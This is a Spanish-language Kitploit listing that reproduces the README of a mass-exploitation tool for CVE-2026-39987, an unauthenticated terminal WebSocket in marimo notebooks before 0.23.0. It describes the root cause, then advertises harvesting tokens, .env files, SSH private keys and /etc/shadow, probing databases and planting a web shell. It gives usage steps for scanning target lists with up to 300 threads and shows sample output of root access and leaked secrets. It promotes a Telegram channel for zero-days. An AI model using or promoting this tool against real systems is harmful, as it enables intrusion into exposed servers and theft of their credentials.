Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-39987 — marimo es un cuaderno Python reactivo. Antes de la versión 0.23.0, Marimo tiene una vulnerabilidad de RCE de preautenticación. | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2026-39987
Escalada de PrivilegiosExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo es un cuaderno Python reactivo. Antes de la versión 0.23.0, Marimo tiene una vulnerabilidad de RCE de preautenticación.

Ver Repositorio
1152hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-39987

marimo es un notebook reactivo de Python. Antes de la versión 0.23.0, Marimo presenta una vulnerabilidad de RCE sin autenticación previa (Pre-Auth RCE).

   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — RCE Pre-Auth vía WebSocket no autenticado

Escáner Masivo · Enumeración Completa · Detección Inteligente


Python CVE Severity Type Platform License


Autor: Nxploited  ·  Telegram: @KNxploited


📢 Únete al canal de Telegram para los últimos zero-days y exploits gratuitos:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 Descripción general

CVE-2026-39987 es una vulnerabilidad crítica de ejecución remota de código sin autenticación previa que afecta a Marimo, una plataforma de notebooks reactivos de Python de código abierto.

El endpoint WebSocket de terminal /terminal/ws carece por completo de validación de autenticación, lo que permite a cualquier atacante remoto no autenticado obtener un shell PTY completo y ejecutar comandos arbitrarios del sistema con los privilegios del proceso en ejecución — a menudo root en despliegues contenedorizados.

A diferencia de otros endpoints WebSocket como /ws, que invocan correctamente validate_auth() antes de aceptar conexiones, el endpoint /terminal/ws solo verifica el modo de ejecución y la compatibilidad de la plataforma, omitiendo por completo la autenticación.

✅ Corregido en: marimo >= 0.23.0 ❌ Todas las versiones anteriores a 0.23.0 son vulnerables


🔍 Detalles de la vulnerabilidad

PropiedadValor
ID CVECVE-2026-39987
Software afectadomarimo < 0.23.0
Clase de vulnerabilidadRCE Pre-Auth vía WebSocket no autenticado
Endpoint afectado/terminal/ws
Vector de ataqueRed
Autenticación requerida❌ Ninguna
Interacción del usuario❌ Ninguna
Severidad🔴 Crítica
ImpactoShell PTY completo · Ejecución arbitraria de comandos
Versión corregidamarimo 0.23.0

🧩 Causa raíz

/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

El manejador de /terminal/ws solo comprueba:

  1. Si el servidor se está ejecutando en el modo correcto
  2. Si la plataforma es compatible con la emulación de terminal

Nunca valida tokens de sesión, cookies ni ninguna forma de identidad — lo que convierte cada instancia de Marimo expuesta en un shell directo.


✨ Características

  • 🔥 Escáner masivo — Escanea miles de objetivos de forma concurrente con pools de hilos configurables
  • 🧠 Detección inteligente de entornos — Auto-detecta: Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · aplicaciones Python
  • 🐚 Acceso a shell PTY completo — Shell WebSocket no autenticado con emulación de terminal completa
  • 📓 Enumeración de notebooks — Descubre y lee recursivamente todos los notebooks .py de Marimo
  • 🔑 Recolección de tokens — Extrae tokens de Marimo de argumentos CLI, variables ENV y archivos de registro
  • 🗄️ Descubrimiento de bases de datos — Sonda automáticamente MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 Extracción de credenciales — Archivos .env · wp-config.php · claves privadas SSH · /etc/shadow
  • 📂 Verificación de web shell (Nx Drop) — Escribe y verifica por HTTP un archivo de prueba de concepto en la raíz web
  • 📊 Salida estructurada por objetivo — Cada objetivo obtiene su propio directorio de salida organizado
  • 🎨 Interfaz de terminal enriquecida — Interfaz profesional codificada por colores con paneles, seguimiento de progreso y estadísticas en vivo

⚙️ Requisitos

Python 3.10 or higher

Instala las dependencias:

pip install websockets rich requests urllib3

O usando el archivo de requirements:

pip install -r requirements.txt

requirements.txt

websockets
rich
requests
urllib3

🚀 Uso

Paso 1 — Prepara tu archivo de objetivos

Crea un archivo llamado targets.txt con un objetivo por línea. La herramienta acepta todos los formatos:

192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

Formatos admitidos: IP simple · IP:puerto · dominio · dominio:puerto · http:// · https:// · ws:// · wss://


Paso 2 — Ejecuta el escáner

python3 CVE-2026-39987.py

Paso 3 — Configuración interactiva

  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

Rango de hilos: 1–300. Recomendado: 50–150 según tu red.


🖥️ Vista previa de la salida

Interfaz de terminal

  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py
Descargar herramienta